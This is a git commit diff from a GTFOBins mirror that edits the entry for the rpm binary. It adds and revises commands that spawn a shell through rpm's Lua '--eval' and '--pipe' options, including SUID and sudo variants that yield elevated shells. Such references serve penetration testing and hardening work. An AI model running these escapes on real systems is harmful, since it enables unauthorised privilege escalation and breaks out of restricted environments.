1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00

Upgrade to shell

This commit is contained in:
Andrea Cardaci 2021-04-08 07:56:49 +02:00 committed by GitHub
parent ecb1840df3
commit 9800048833
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -2,12 +2,9 @@
functions: functions:
shell: shell:
- code: rpm --eval '%{lua:os.execute("/bin/sh")}' - code: rpm --eval '%{lua:os.execute("/bin/sh")}'
command: - code: rpm --pipe '/bin/sh 0<&1'
- code: |
rpm --pipe '/bin/id > /tmp/result'
cat /tmp/result
limited-suid: limited-suid:
- code: rpm --eval '%{lua:os.execute("/bin/sh")}' - code: ./rpm --eval '%{lua:os.execute("/bin/sh")}'
sudo: sudo:
- code: sudo rpm --eval '%{lua:os.execute("/bin/sh")}' - code: sudo rpm --eval '%{lua:os.execute("/bin/sh")}'
- description: | - description: |